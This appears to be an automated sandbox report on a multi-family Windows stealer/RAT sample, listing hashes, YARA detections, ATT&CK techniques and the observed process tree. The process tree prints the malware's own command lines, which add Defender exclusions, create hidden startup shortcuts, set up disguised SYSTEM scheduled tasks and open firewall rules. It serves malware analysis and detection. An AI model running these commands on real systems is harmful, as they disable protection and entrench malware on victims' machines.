Analysis
- max time kernel
149s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
27/05/2026, 16:28
Static task
static1
Behavioral task
behavioral1
Sample
2026-05-27_e8164aebdf106d34eb4e684590cdb940_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
2026-05-27_e8164aebdf106d34eb4e684590cdb940_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Resource
win11-20260513-en
General
- Target 2026-05-27_e8164aebdf106d34eb4e684590cdb940_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
- Size 26.0MB
- Sample260527-tymp3aev6v
- SHA256 d594bbf60894b08733f6b8545ce48cd540fa8a49439db0a3ea63a97f94d37c7e
- MD5 e8164aebdf106d34eb4e684590cdb940
- SHA1 55742314fea851fead5bf15739bd890e87efd1e8
- SHA512 5e67728732a214fabe066a6e2915444c083cc47978fa73d6c4d231bd501abaeaf737700d19d7b08409e1c670513b00e093e1e05da2a83ed4ff0f22442275bf88
- SSDEEP 3072:HC72o0130OyWzl0TuEu/SZqkmM6MsQleHqAnf7NLf8QjPbDCCOpP6wrHRthml8E6:HC72lze7uqZqkmMVtl6qMfZTnCdDA
- TLSH T16A576D1AF7A514F9E9A7953CC8424906DA72BC574760E7CF03A04A973F236D09E3EB21
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs
resource yara_rule behavioral2/files/0x001e00000002b4b4-47.dat INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs - Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
resource yara_rule behavioral2/files/0x001e00000002b4b4-47.dat INDICATOR_SUSPICIOUS_Binary_References_Browsers - Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
resource yara_rule behavioral2/files/0x001e00000002b4b4-47.dat INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore - Detects executables containing artifacts associated with disabling Widnows Defender 1 IoCs
resource yara_rule behavioral2/files/0x001e00000002b4b4-47.dat INDICATOR_SUSPICIOUS_DisableWinDefender - Detects executables referencing many confidential data stores found in browsers, mail clients, crypt 1 IoCs
resource yara_rule behavioral2/files/0x001e00000002b4b4-47.dat INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store - Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4440 powershell.exe 3120 powershell.exe 2468 powershell.exe 4792 powershell.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 1 3456 2026-05-27_e8164aebdf106d34eb4e684590cdb940_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe - Modifies Windows Firewall 2 TTPs 3 IoCs
pid Process 2680 netsh.exe 2592 netsh.exe 5724 netsh.exe - Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSystemComponent.lnk powershell.exe - Executes dropped EXE 6 IoCs
pid Process 6032 sertja.exe 5352 sertja.exe 5224 sertja.exe 5072 sertja.exe 5300 sertja.exe 5520 sertja.exe - Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Environment\UserInitMprLogonScript = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\sertja.exe" sertja.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Windows\CurrentVersion\Run\RemoteX = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\sertja.exe" sertja.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RemoteX = "C:\\ProgramData\\Microsoft\\Windows\\sertja.exe" sertja.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 3 ip-api.com - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - GoLang User-Agent 3 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 2 Go-http-client/1.1 HTTP User-Agent header 7 Go-http-client/1.1 HTTP User-Agent header 8 Go-http-client/1.1 - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5608 schtasks.exe 4080 schtasks.exe 4024 schtasks.exe 4028 schtasks.exe 3608 schtasks.exe - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 4440 powershell.exe 4440 powershell.exe 3120 powershell.exe 3120 powershell.exe 6032 sertja.exe 2468 powershell.exe 2468 powershell.exe 4792 powershell.exe 4792 powershell.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4440 powershell.exe Token: SeDebugPrivilege 3120 powershell.exe Token: SeDebugPrivilege 2468 powershell.exe Token: SeDebugPrivilege 4792 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 6032 sertja.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 3456 wrote to memory of 2876 3456 2026-05-27_e8164aebdf106d34eb4e684590cdb940_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 80 PID 3456 wrote to memory of 4440 3456 2026-05-27_e8164aebdf106d34eb4e684590cdb940_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 81 PID 3456 wrote to memory of 3120 3456 2026-05-27_e8164aebdf106d34eb4e684590cdb940_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 83 PID 3456 wrote to memory of 6032 3456 2026-05-27_e8164aebdf106d34eb4e684590cdb940_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 85 PID 6032 wrote to memory of 2468 6032 sertja.exe 87 PID 6032 wrote to memory of 5608 6032 sertja.exe 89 PID 6032 wrote to memory of 4080 6032 sertja.exe 91 PID 6032 wrote to memory of 4024 6032 sertja.exe 93 PID 6032 wrote to memory of 2680 6032 sertja.exe 95 PID 6032 wrote to memory of 4792 6032 sertja.exe 97 PID 6032 wrote to memory of 4028 6032 sertja.exe 103 PID 6032 wrote to memory of 3608 6032 sertja.exe 105 PID 6032 wrote to memory of 2592 6032 sertja.exe 107 PID 6032 wrote to memory of 5724 6032 sertja.exe 113 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-05-27_e8164aebdf106d34eb4e684590cdb940_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-27_e8164aebdf106d34eb4e684590cdb940_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"1⤵
- Downloads MZ/PE file
- Suspicious use of WriteProcessMemory
PID:3456 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵PID:2876
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\deagmtgasvi'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4440
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\Users'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3120
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C:\Users\Admin\AppData\Local\deagmtgasvi\sertja.exe"C:\Users\Admin\AppData\Local\deagmtgasvi\sertja.exe"2⤵
- Executes dropped EXE
- Registers new Windows logon scripts automatically executed at logon.
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6032 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NonInteractive -WindowStyle Hidden -NoProfile -Command "$s=(New-Object -COM WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSystemComponent.lnk');$s.TargetPath='C:\Users\Admin\AppData\Local\Microsoft\Windows\sertja.exe';$s.WindowStyle=7;$s.Save()"3⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2468
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C:\Windows\system32\schtasks.exeschtasks /create /tn MicrosoftWindowsManagementClient /tr \"C:\Users\Admin\AppData\Local\Microsoft\Windows\sertja.exe\" /sc ONLOGON /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:5608
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C:\Windows\system32\schtasks.exeschtasks /create /tn MicrosoftWindowsManagementClientBoot /tr \"C:\Users\Admin\AppData\Local\Microsoft\Windows\sertja.exe\" /sc ONSTART /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:4080
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C:\Windows\system32\schtasks.exeschtasks /create /tn MicrosoftWindowsManagementClientPerf /tr \"C:\Users\Admin\AppData\Local\Microsoft\Windows\sertja.exe\" /sc MINUTE /mo 5 /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:4024
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C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule "name=RemoteX Client"3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2680
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NonInteractive -WindowStyle Hidden -NoProfile -Command "$s=(New-Object -COM WScript.Shell).CreateShortcut('C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\WindowsSystemComponent.lnk');$s.TargetPath='C:\ProgramData\Microsoft\Windows\sertja.exe';$s.WindowStyle=7;$s.Save()"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4792
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C:\Windows\system32\schtasks.exeschtasks /create /tn MicrosoftWindowsManagementClientSystem /tr \"C:\ProgramData\Microsoft\Windows\sertja.exe\" /sc ONLOGON /ru SYSTEM /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:4028
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C:\Windows\system32\schtasks.exeschtasks /create /tn MicrosoftWindowsManagementClientSystemBoot /tr \"C:\ProgramData\Microsoft\Windows\sertja.exe\" /sc ONSTART /ru SYSTEM /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:3608
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule "name=RemoteX Client" dir=out action=allow program=C:\Users\Admin\AppData\Local\deagmtgasvi\sertja.exe3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2592
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule "name=RemoteX Client In" dir=in action=allow program=C:\Users\Admin\AppData\Local\deagmtgasvi\sertja.exe3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:5724
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C:\Users\Admin\AppData\Local\Microsoft\Windows\sertja.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\sertja.exe1⤵
- Executes dropped EXE
PID:5352
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C:\Users\Admin\AppData\Local\Microsoft\Windows\sertja.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\sertja.exe"1⤵
- Executes dropped EXE
PID:5224
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C:\ProgramData\Microsoft\Windows\sertja.exeC:\ProgramData\Microsoft\Windows\sertja.exe1⤵
- Executes dropped EXE
PID:5072
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C:\ProgramData\Microsoft\Windows\sertja.exe"C:\ProgramData\Microsoft\Windows\sertja.exe"1⤵
- Executes dropped EXE
PID:5300
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C:\PROGRA~3\MICROS~1\Windows\sertja.exeC:\PROGRA~3\MICROS~1\Windows\sertja.exe1⤵
- Executes dropped EXE
PID:5520
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
- MD5 dbbd2d4458d7e8094846420da595dfc3
- SHA1 267cb47b904f14a519d2bd73abfdb30e1a06e1a6
- SHA512 480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531
- SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wx
- TLSH T11D91EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 c82f2726f8ce51fc0d84eb392397b748700470a79032acae4a60c63d1067edcb
- MD5 782e4d43fee2487ad2471a9e11efb280
- SHA1 17dc94ce4aa72d53aff8024409de3033cfa358f5
- SHA512 d16f50a54a1a7c3c1babdc7b90e1b203cf74a18a8f922dcd12d337b31a8ec54a769f7749841116d43dab39bf93cf14acdc5da4a27a0e6127b803bf95f1712541
- TLSH T12421AB33B79CC135C8D9117A108CAD01B1B5C3C7449ECECB7B84C518A57F999DB645E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 c9b56837ca861acafe77991fba23ab5ddf3da4f92e07e707aabfb5f0e65aa709
- MD5 5cea8066fa4213e74bbf8db55817f9af
- SHA1 58d772752e98ee187ac8475eba9fd1172404b13a
- SHA512 fed7a23446306ca014bcb30f0e1a1cd62c50694a6204704d724bbb08f8ea6f35436615645cac4744a088c7c8bf14a41ddc2f95cdcd79acdbeaf94af29669e8e4
- TLSH T16D218633B79CC134C8C911BA108DAD01B2B5C3C7449ECE8B7BC4C528A5BF89ADF681A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 422e18074b81f7ca32184c40ba843a0fea307ee65e51174231b5e379321d20b5
- MD5 1de8b38009e35c287575b36b868d2057
- SHA1 f5f50ae42faaffa7d0f5e5a46bd5d89cabc4107e
- SHA512 ea4bbb3e43410125990c6fb8e48e7bb21cf4b66b03445bcd4c260cff4bb2a2678c0a24429b840495e22f13f3c1246667952275ce767daa2014cc4bdd8510c838
- TLSH T1F1117A33B79CC135C8D9117A1089AD01B2B4C3D7049EDE8B7AC4C519E5BF58ADFA41E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pysc4mjb.ulk.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\deagmtgasvi\sertja.exe
- Size 19.6MB
- SHA256 4d6b7e54dbe5dd99761ea72e7dd9bfbac319f93853c021a96ffb3de0c08bb9cf
- MD5 6247a55b51a19efbb254b3b2206bb4be
- SHA1 022abe713e17cadb4ea398e73050223054d0fa19
- SHA512 9642d478ca4348d407f53e2c35e6dcca218ba23b8fb76d9cac1874a55901a8658804312b83dfb170cda40d01203979da3cb7de04a0937770cecd833545fc2d56
- SSDEEP 393216:1Tph6pH92xPZZSjZ/DSNEdXMw1s5bR+8e:1Tph6pH9iqZ7RXDs5bR+/
- TLSH T1A7279D47ECA545E4C0AA9135CA669267BB717C884F3163C72F90F7282F32BD0AE79750
- MD5 SHA1 SHA512 SSDEEP TLSH